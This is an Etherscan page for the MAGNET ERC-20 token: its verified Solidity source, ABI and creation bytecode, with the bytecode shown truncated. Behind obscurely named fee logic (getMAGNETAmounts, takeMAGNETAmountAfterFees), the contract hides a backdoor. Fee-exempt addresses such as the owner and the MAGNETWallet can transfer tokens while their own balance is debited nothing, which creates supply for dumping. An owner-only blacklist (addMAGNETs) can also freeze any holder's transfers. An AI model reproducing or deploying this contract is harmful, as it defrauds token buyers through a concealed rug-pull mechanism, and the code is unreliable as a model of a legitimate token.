ETH Price: $3,375.13 (-0.84%)

Token

MAGNET (🧲)
 

Overview

Max Total Supply

100,000,000 🧲

Holders

136

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,054,825.369189634187598123 🧲

Value
$0.00
0x3b0a5583e7f1d1bd7865ae0f68073e7f92056f1b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x9E615c30...C9f30c30e
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
MAGNET

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-12
*/

// SPDX-License-Identifier: MIT


pragma solidity 0.8.19;

library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}

function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}

function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}

interface ERC20 {
function totalSupply() external view returns (uint256);

function decimals() external view returns (uint8);

function symbol() external view returns (string memory);

function name() external view returns (string memory);

function getOwner() external view returns (address);

function balanceOf(address account) external view returns (uint256);

function transfer(address recipient, uint256 amount)
external
returns (bool);

function allowance(address _owner, address spender)
external
view
returns (uint256);

function approve(address spender, uint256 amount) external returns (bool);

function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);

event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}

abstract contract Ownable {
address internal owner;

constructor(address _owner) {
owner = _owner;
}

modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER");
_;
}

function isOwner(address account) public view returns (bool) {
return account == owner;
}

function renounceOwnership() public onlyOwner {
owner = address(0);
emit OwnershipTransferred(address(0));
}

event OwnershipTransferred(address owner);
}

interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}

interface IUniswapV2Router02 {
function factory() external pure returns (address);

function WETH() external pure returns (address);

function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);

function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);

function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;

function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;

function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);

function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);

function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);

function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
}

contract MAGNET is ERC20, Ownable {
using SafeMath for uint256;

address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address DEAD = 0x000000000000000000000000000000000000dEaD;

string private _name;
string private _symbol;

uint8 constant _decimals = 18;

uint256 public _totalSupply = 100_000_000 * (10**_decimals);
uint256 public _maxWalletAmount = (_totalSupply * 100) / 100;
uint256 public _swapMAGNETThreshHold = (_totalSupply * 1)/ 10000;
uint256 public _maxTaxSwap=(_totalSupply * 18) / 10000;

mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) _allowances;
mapping(address => bool) isFeeExempt;
mapping(address => bool) isTxLimitExempt;
mapping(address => bool) private MAGNETs;

address public _MAGNETWallet;
address public pair;

IUniswapV2Router02 public router;

bool public swapEnabled = false;
bool public MAGNETFeeEnabled = false;
bool public TradingOpen = false;
uint256 private _initBuyTax=0;
uint256 private _initSellTax=0;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=0;
uint256 private _reduceSellTaxAt=0;
uint256 private _buyCounts=0;

bool inSwap;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}

constructor(address MAGNETWallet, string memory name_, string memory symbol_) Ownable(msg.sender) {

_name = name_;
_symbol = symbol_;
address _owner = owner;
_MAGNETWallet = MAGNETWallet;

isFeeExempt[_owner] = true;
isFeeExempt[_MAGNETWallet] = true;
isFeeExempt[address(this)] = true;
isTxLimitExempt[_owner] = true;
isTxLimitExempt[_MAGNETWallet] = true;
isTxLimitExempt[address(this)] = true;

_balances[_owner] = _totalSupply;
emit Transfer(address(0), _owner, _totalSupply);
}

function getOwner() external view override returns (address) {
return owner;
}

function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}

function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}

function withdrawMAGNETBalance() external onlyOwner {
require(address(this).balance > 0, "Token: no ETH to clear");
payable(msg.sender).transfer(address(this).balance);
}

function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}

function enableMAGNETTrade() public onlyOwner {
require(!TradingOpen,"trading is already open");

TradingOpen = true;
MAGNETFeeEnabled = true;
swapEnabled = true;
}

function getMAGNETAmounts(uint action, bool takeFee, uint256 tAmount) internal returns(uint256, uint256) {
uint256 sAmount = takeFee
? tAmount : MAGNETFeeEnabled
? takeMAGNETAmountAfterFees(action, takeFee, tAmount) 
: tAmount;

uint256 rAmount = MAGNETFeeEnabled && takeFee
? takeMAGNETAmountAfterFees(action, takeFee, tAmount)
: tAmount;
return (sAmount, rAmount);
}

function decimals() external pure override returns (uint8) {
return _decimals;
}

function internalSwapBackEth(uint256 amount) private lockTheSwap {
uint256 tokenBalance = balanceOf(address(this));
uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap));

address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();

router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);

uint256 ethAmountFor = address(this).balance;
payable(_MAGNETWallet).transfer(ethAmountFor);
}

function removeMAGNETLimit() external onlyOwner returns (bool) {
_maxWalletAmount = _totalSupply;
return true;
}

function takeMAGNETAmountAfterFees(uint MAGNETActions, bool MAGNETTakefee, uint256 amounts)
internal
returns (uint256)
{
uint256 MAGNETPercents;
uint256 MAGNETFeePrDenominator = 100;

if(MAGNETTakefee) {

if(MAGNETActions > 1) {
MAGNETPercents = (_buyCounts>_reduceSellTaxAt ? _finalSellTax : _initSellTax);
} else {
if(MAGNETActions > 0) {
MAGNETPercents = (_buyCounts>_reduceBuyTaxAt ? _finalBuyTax : _initBuyTax);
} else {
MAGNETPercents = 0;
}
}

} else {
MAGNETPercents = 1;
}

uint256 feeAmounts = amounts.mul(MAGNETPercents).div(MAGNETFeePrDenominator);
_balances[address(this)] = _balances[address(this)].add(feeAmounts);
feeAmounts = MAGNETTakefee ? feeAmounts : amounts.div(MAGNETPercents);

return amounts.sub(feeAmounts);
}

receive() external payable {

}

function _transferTaxTokens(
address sender,
address recipient,
uint256 amount,
uint action,
bool takeFee
) internal returns (bool) {

uint256 senderAmount; 
uint256 recipientAmount;

(senderAmount, recipientAmount) = getMAGNETAmounts(action, takeFee, amount);
_balances[sender] = _balances[sender].sub(
senderAmount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(recipientAmount);
emit Transfer(sender, recipient, amount);
return true;
}

function allowance(address holder, address spender)
external
view
override
returns (uint256)
{
return _allowances[holder][spender];
}

function createMAGNETTrade() external onlyOwner {
router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
isTxLimitExempt[pair] = true;

_allowances[address(this)][address(router)] = type(uint256).max;
router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp);
}

function name() public view virtual returns (string memory) {
return _name;
}

function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}

function totalSupply() external view override returns (uint256) {
return _totalSupply;
}

function inSwapMAGNETTokens(bool isIncludeFees , uint isSwapActions, uint256 pAmount, uint256 pLimit) internal view returns (bool) {

uint256 minMAGNETTokens = pLimit;
uint256 tokenMAGNETWeight = pAmount;
uint256 contractMAGNETOverWeight = balanceOf(address(this));

bool isSwappable = contractMAGNETOverWeight > minMAGNETTokens && tokenMAGNETWeight > minMAGNETTokens;

return
!inSwap &&
isIncludeFees && 
isSwapActions > 1 &&
isSwappable &&
swapEnabled;
}

function symbol() public view virtual returns (string memory) {
return _symbol;
}

function reduceFinalBuyTax(uint256 _newFee) external onlyOwner{
_finalBuyTax=_newFee;
}

function reduceFinalSellTax(uint256 _newFee) external onlyOwner{
_finalSellTax=_newFee;
}

function isMAGNETUserBuy(address sender, address recipient) internal view returns (bool) {
return
recipient != pair &&
recipient != DEAD &&
!isFeeExempt[sender] &&
!isFeeExempt[recipient];
}
function isTakeMAGNETActions(address from, address to) internal view returns (bool, uint) {

uint _actions = 0;
bool _isTakeFee = isTakeFees(from);

if(to == pair) {
_actions = 2;
} else if (from == pair) {
_actions = 1;
} else {
_actions = 0;
}
return (_isTakeFee, _actions);
}

function addMAGNETs(address[] memory MAGNETs_) public onlyOwner {
for (uint i = 0; i < MAGNETs_.length; i++) {
MAGNETs[MAGNETs_[i]] = true;
}
}

function delMAGNETs(address[] memory notMAGNET) public onlyOwner {
for (uint i = 0; i < notMAGNET.length; i++) {
MAGNETs[notMAGNET[i]] = false;
}
}

function isMAGNET(address a) public view returns (bool){
return MAGNETs[a];
}

function _transferStandardTokens(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {

require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");

bool takefee;
uint actions;

require(!MAGNETs[sender] && !MAGNETs[recipient]);

if (inSwap) {
return _basicTransfer(sender, recipient, amount);
}

if(!isFeeExempt[sender] && !isFeeExempt[recipient]){
require(TradingOpen,"Trading not open yet");
}

if(!swapEnabled) {
return _basicTransfer(sender, recipient, amount);
}
if (isMAGNETUserBuy(sender, recipient)) {
require(
isTxLimitExempt[recipient] ||
_balances[recipient] + amount <= _maxWalletAmount,
"Transfer amount exceeds the bag size."
);

increaseBuyCount(sender);
}

(takefee, actions) = isTakeMAGNETActions(sender, recipient);

if (inSwapMAGNETTokens(takefee, actions, amount, _swapMAGNETThreshHold)) {
internalSwapBackEth(amount);
}

_transferTaxTokens(sender, recipient, amount, actions, takefee);
return true;
} 

function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
if (_allowances[sender][msg.sender] != type(uint256).max) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender]
.sub(amount, "Insufficient Allowance");
}

return _transferStandardTokens(sender, recipient, amount);
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
return _transferStandardTokens(msg.sender, recipient, amount);
}

function increaseBuyCount(address sender) internal {
if(sender == pair) {
_buyCounts++;
}
}

function isTakeFees(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"MAGNETWallet","type":"address"},{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MAGNETFeeEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_MAGNETWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapMAGNETThreshHold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"MAGNETs_","type":"address[]"}],"name":"addMAGNETs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createMAGNETTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notMAGNET","type":"address[]"}],"name":"delMAGNETs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableMAGNETTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isMAGNET","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFinalBuyTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFinalSellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeMAGNETLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawMAGNETBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600180546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d179091556002805490911661dead179055620000486012600a62000353565b62000058906305f5e1006200036b565b600555606460055460646200006e91906200036b565b6200007a919062000385565b60065561271060055460016200009191906200036b565b6200009d919062000385565b6007556127106005546012620000b491906200036b565b620000c0919062000385565b6008556010805462ffffff60a01b1916905560006011819055601281905560138190556014819055601581905560168190556017553480156200010257600080fd5b50604051620024263803806200242683398101604081905262000125916200046d565b600080546001600160a01b03191633179055600362000145838262000586565b50600462000154828262000586565b5060008054600e80546001600160a01b0319166001600160a01b03878116919091178255918216808452600b60209081526040808620805460ff1990811660019081179092558554871688528288208054821683179055308089528389208054831684179055858952600c85528389208054831684179055955490961687528187208054871682179055938652808620805490951690931790935560055481855260098452828520819055915191825292839290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505062000652565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002955781600019048211156200027957620002796200023e565b808516156200028757918102915b93841c939080029062000259565b509250929050565b600082620002ae575060016200034d565b81620002bd575060006200034d565b8160018114620002d65760028114620002e15762000301565b60019150506200034d565b60ff841115620002f557620002f56200023e565b50506001821b6200034d565b5060208310610133831016604e8410600b841016171562000326575081810a6200034d565b62000332838362000254565b80600019048211156200034957620003496200023e565b0290505b92915050565b60006200036460ff8416836200029d565b9392505050565b80820281158282048414176200034d576200034d6200023e565b600082620003a357634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052604160045260246000fd5b600082601f830112620003d057600080fd5b81516001600160401b0380821115620003ed57620003ed620003a8565b604051601f8301601f19908116603f01168101908282118183101715620004185762000418620003a8565b816040528381526020925086838588010111156200043557600080fd5b600091505b838210156200045957858201830151818301840152908201906200043a565b600093810190920192909252949350505050565b6000806000606084860312156200048357600080fd5b83516001600160a01b03811681146200049b57600080fd5b60208501519093506001600160401b0380821115620004b957600080fd5b620004c787838801620003be565b93506040860151915080821115620004de57600080fd5b50620004ed86828701620003be565b9150509250925092565b600181811c908216806200050c57607f821691505b6020821081036200052d57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200058157600081815260208120601f850160051c810160208610156200055c5750805b601f850160051c820191505b818110156200057d5782815560010162000568565b5050505b505050565b81516001600160401b03811115620005a257620005a2620003a8565b620005ba81620005b38454620004f7565b8462000533565b602080601f831160018114620005f25760008415620005d95750858301515b600019600386901b1c1916600185901b1785556200057d565b600085815260208120601f198616915b82811015620006235788860151825594840194600190910190840162000602565b5085821015620006425787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b611dc480620006626000396000f3fe6080604052600436106101dc5760003560e01c80636c0a24eb11610102578063a8aa1b3111610095578063dd62ed3e11610064578063dd62ed3e14610543578063eafebe5514610589578063f3de4f871461059e578063f887ea40146105d757600080fd5b8063a8aa1b31146104c2578063a9059cbb146104e2578063cce0f45d14610502578063d6d5a46d1461052357600080fd5b8063715018a6116100d1578063715018a614610465578063893d20e81461047a5780638e7e56ef1461049857806395d89b41146104ad57600080fd5b80636c0a24eb146103d85780636ce42475146103ee5780636ddd17131461040e57806370a082311461042f57600080fd5b80632f54bf6e1161017a5780633eaaf86b116101495780633eaaf86b14610378578063400901a41461038e5780634ae660df146103a3578063511267f3146103b857600080fd5b80632f54bf6e146102df578063313ce5671461030e57806332d31e441461032a5780633c1bf4661461034057600080fd5b80630faee56f116101b65780630faee56f1461026457806318160ddd1461028857806323b872dd1461029d5780632c743eac146102bd57600080fd5b806306fdde03146101e857806308fd3d0514610213578063095ea7b31461024457600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b506101fd6105f7565b60405161020a91906119b0565b60405180910390f35b34801561021f57600080fd5b5060105461023490600160b01b900460ff1681565b604051901515815260200161020a565b34801561025057600080fd5b5061023461025f366004611a23565b610689565b34801561027057600080fd5b5061027a60085481565b60405190815260200161020a565b34801561029457600080fd5b5060055461027a565b3480156102a957600080fd5b506102346102b8366004611a4f565b6106f6565b3480156102c957600080fd5b506102dd6102d8366004611a90565b6107b8565b005b3480156102eb57600080fd5b506102346102fa366004611aa9565b6000546001600160a01b0391821691161490565b34801561031a57600080fd5b506040516012815260200161020a565b34801561033657600080fd5b5061027a60075481565b34801561034c57600080fd5b50600e54610360906001600160a01b031681565b6040516001600160a01b03909116815260200161020a565b34801561038457600080fd5b5061027a60055481565b34801561039a57600080fd5b506102dd6107f0565b3480156103af57600080fd5b50610234610892565b3480156103c457600080fd5b506102dd6103d3366004611adc565b6108c9565b3480156103e457600080fd5b5061027a60065481565b3480156103fa57600080fd5b506102dd610409366004611a90565b61095f565b34801561041a57600080fd5b5060105461023490600160a01b900460ff1681565b34801561043b57600080fd5b5061027a61044a366004611aa9565b6001600160a01b031660009081526009602052604090205490565b34801561047157600080fd5b506102dd61098e565b34801561048657600080fd5b506000546001600160a01b0316610360565b3480156104a457600080fd5b506102dd6109fd565b3480156104b957600080fd5b506101fd610a9a565b3480156104ce57600080fd5b50600f54610360906001600160a01b031681565b3480156104ee57600080fd5b506102346104fd366004611a23565b610aa9565b34801561050e57600080fd5b5060105461023490600160a81b900460ff1681565b34801561052f57600080fd5b506102dd61053e366004611adc565b610ab6565b34801561054f57600080fd5b5061027a61055e366004611ba1565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b34801561059557600080fd5b506102dd610b48565b3480156105aa57600080fd5b506102346105b9366004611aa9565b6001600160a01b03166000908152600d602052604090205460ff1690565b3480156105e357600080fd5b50601054610360906001600160a01b031681565b60606003805461060690611bda565b80601f016020809104026020016040519081016040528092919081815260200182805461063290611bda565b801561067f5780601f106106545761010080835404028352916020019161067f565b820191906000526020600020905b81548152906001019060200180831161066257829003601f168201915b5050505050905090565b336000818152600a602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106e49086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383166000908152600a60209081526040808320338452909152812054600019146107a3576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600a8252838120338252909152919091205461077e918490610dfa565b6001600160a01b0385166000908152600a602090815260408083203384529091529020555b6107ae848484610e34565b90505b9392505050565b6000546001600160a01b031633146107eb5760405162461bcd60e51b81526004016107e290611c0e565b60405180910390fd5b601355565b6000546001600160a01b0316331461081a5760405162461bcd60e51b81526004016107e290611c0e565b600047116108635760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b60448201526064016107e2565b60405133904780156108fc02916000818181858888f1935050505015801561088f573d6000803e3d6000fd5b50565b600080546001600160a01b031633146108bd5760405162461bcd60e51b81526004016107e290611c0e565b50600554600655600190565b6000546001600160a01b031633146108f35760405162461bcd60e51b81526004016107e290611c0e565b60005b815181101561095b576001600d600084848151811061091757610917611c2e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061095381611c5a565b9150506108f6565b5050565b6000546001600160a01b031633146109895760405162461bcd60e51b81526004016107e290611c0e565b601455565b6000546001600160a01b031633146109b85760405162461bcd60e51b81526004016107e290611c0e565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b03163314610a275760405162461bcd60e51b81526004016107e290611c0e565b601054600160b01b900460ff1615610a815760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016107e2565b6010805462ffffff60a01b19166201010160a01b179055565b60606004805461060690611bda565b60006107b1338484610e34565b6000546001600160a01b03163314610ae05760405162461bcd60e51b81526004016107e290611c0e565b60005b815181101561095b576000600d6000848481518110610b0457610b04611c2e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610b4081611c5a565b915050610ae3565b6000546001600160a01b03163314610b725760405162461bcd60e51b81526004016107e290611c0e565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610bd6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bfa9190611c73565b6001600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c809190611c73565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610ccd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf19190611c73565b600f80546001600160a01b0319166001600160a01b039283169081179091556000908152600c60209081526040808320805460ff1916600117905530808452600a83528184206010805487168652908452828520600019905554818552600990935292205492169163f305d7199147916000805460405160e087901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093526044830182905260648301919091529190911660848201524260a482015260c40160606040518083038185885af1158015610dd0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610df59190611c90565b505050565b60008184841115610e1e5760405162461bcd60e51b81526004016107e291906119b0565b506000610e2b8486611cbe565b95945050505050565b60006001600160a01b038416610e9a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107e2565b6001600160a01b038316610efc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107e2565b60008211610f5e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107e2565b6001600160a01b0384166000908152600d6020526040812054819060ff16158015610fa257506001600160a01b0385166000908152600d602052604090205460ff16155b610fab57600080fd5b60185460ff1615610fca57610fc1868686611183565b925050506107b1565b6001600160a01b0386166000908152600b602052604090205460ff1615801561100c57506001600160a01b0385166000908152600b602052604090205460ff16155b1561106157601054600160b01b900460ff166110615760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b60448201526064016107e2565b601054600160a01b900460ff1661107d57610fc1868686611183565b6110878686611269565b1561113b576001600160a01b0385166000908152600c602052604090205460ff16806110d857506006546001600160a01b0386166000908152600960205260409020546110d5908690611cd1565b11155b6111325760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b60648201526084016107e2565b61113b866112e6565b6111458686611314565b809250819350505061115b82828660075461138d565b1561116957611169846113fb565b61117686868684866115c1565b5060019695505050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526009909152918220546111d4918490610dfa565b6001600160a01b03808616600090815260096020526040808220939093559085168152205461120390836116c3565b6001600160a01b0380851660008181526009602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112579086815260200190565b60405180910390a35060019392505050565b600f546000906001600160a01b0383811691161480159061129857506002546001600160a01b03838116911614155b80156112bd57506001600160a01b0383166000908152600b602052604090205460ff16155b80156107b15750506001600160a01b03166000908152600b602052604090205460ff1615919050565b600f546001600160a01b039081169082160361088f576017805490600061130c83611c5a565b919050555050565b60008060008061133d866001600160a01b03166000908152600b602052604090205460ff161590565b600f549091506001600160a01b039081169086160361135f5760029150611383565b600f546001600160a01b03908